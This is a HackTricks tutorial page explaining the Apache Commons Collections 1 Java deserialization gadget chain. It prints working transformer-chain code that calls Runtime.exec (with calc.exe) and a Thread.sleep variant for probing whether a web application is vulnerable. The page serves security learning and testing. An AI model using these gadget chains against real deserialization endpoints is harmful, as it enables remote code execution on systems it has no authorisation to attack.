CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep - HackTricks

# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Java Transformers to Rutime exec()

In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one:

    import org.apache.commons.*;
    import org.apache.commons.collections.*;
    import org.apache.commons.collections.functors.*;
    import org.apache.commons.collections.map.*;
    import java.io.*;
    import java.lang.reflect.InvocationTargetException;
    import java.util.Map;
    import java.util.HashMap;

    public class CommonsCollections1PayloadOnly {
        public static void main(String... args) {
            String[] command = {"calc.exe"};
            final Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class), //(1)
                    new InvokerTransformer("getMethod",
                            new Class[]{ String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}
                    ), //(2)
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}
                    ), //(3)
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            command
                    ) //(4)
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map map = new HashMap<>();
            Map lazyMap = LazyMap.decorate(map, chainedTransformer);

            //Execute gadgets
            lazyMap.get("anything");
        }
    }

If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc.

First of all you need to know that a Transformer in Java is something that receives a class and transforms it to a different one.
Also it's interesting to know that the payload being executed here is equivalent to:

    Runtime.getRuntime().exec(new String[]{"calc.exe"});

Or more exactly, what is going to be executed at the end would be:

    ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

### How

So, how is the first payload presented equivalent to those "simple" one-liners?

First of all, you can notice in the payload that a chain (array) of transforms are created:

    String[] command = {"calc.exe"};
    final Transformer[] transformers = new Transformer[]{
            //(1) - Get gadget Class (from Runtime class)
            new ConstantTransformer(Runtime.class),

            //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
            new InvokerTransformer("getMethod",
                    new Class[]{ String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}
            ),

            //(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
            new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}
            ),

            //(4) - Use the Runtime object to call exec with arbitrary commands
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    command
            )
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands.

So, how are those transforms chained?

    Map map = new HashMap<>();
    Map lazyMap = LazyMap.decorate(map, chainedTransformer);
    lazyMap.get("anything");

In the last section of the payload you can see that a Map object is created. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the chained transformers to be copied inside `lazyMap.factory` attribute:

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

And then the great finale is executed: `lazyMap.get("anything");`

This is the code of the `get` function:

    public Object get(Object key) {
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

And this is the code of the `transform` function

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

So, remember that inside factory we had saved `chainedTransformer` and inside of the `transform` function we are going through all those transformers chained and executing one after another. The funny thing, is that each transformer is using `object` as input and object is the output from the last transformer executed. Therefore, all the transforms are chained executing the malicious payload.

### Summary

At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code:

    Object value = "someting";

    value = new ConstantTransformer(Runtime.class).transform(value); //(1)

    value = new InvokerTransformer("getMethod",
                    new Class[]{ String.class, Class[].class},
                    new Object[]{"getRuntime", null}
            ).transform(value); //(2)

    value = new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}
            ).transform(value); //(3)

    value = new InvokerTransformer("exec",
                    new Class[]{String.class},
                    command
            ).transform(value); //(4)

Note how `value` is the input of each transform and the output of the previous transform , allowing the execution of a one-liner:

    ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Note that here it was explained the gadgets used for the ComonsCollections1 payload. But it's left how all this starts it's executing. You can see here that ysoserial, in order to execute this payload, uses an `AnnotationInvocationHandler` object because when this object gets deserialized, it will invoke the `payload.get()` function that will execute the whole payload.

## Java Thread Sleep

This payload could be handy to identify if the web is vulnerable as it will execute a sleep if it is.

    import org.apache.commons.*;
    import org.apache.commons.collections.*;
    import org.apache.commons.collections.functors.*;
    import org.apache.commons.collections.map.*;
    import java.io.*;
    import java.lang.reflect.InvocationTargetException;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.Map;
    import java.util.HashMap;

    public class CommonsCollections1Sleep {
        public static void main(String... args) {
            final Transformer[] transformers = new Transformer[]{
            		new ConstantTransformer(Thread.class),
            		new InvokerTransformer("getMethod",
            		        new Class[]{
            		                String.class, Class[].class
            		        },
            		        new Object[]{
            		                "sleep", new Class[]{Long.TYPE}
            		        }),
            		new InvokerTransformer("invoke",
            		        new Class[]{
            		                Object.class, Object[].class
            		        }, new Object[]
            		        {
            		                null, new Object[] {7000L}
            		        }),
            };

            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map map = new HashMap<>();
            Map lazyMap = LazyMap.decorate(map, chainedTransformer);

            //Execute gadgets
            lazyMap.get("anything");

        }
    }

## More Gadgets

You can find more gadgets here: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

##

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.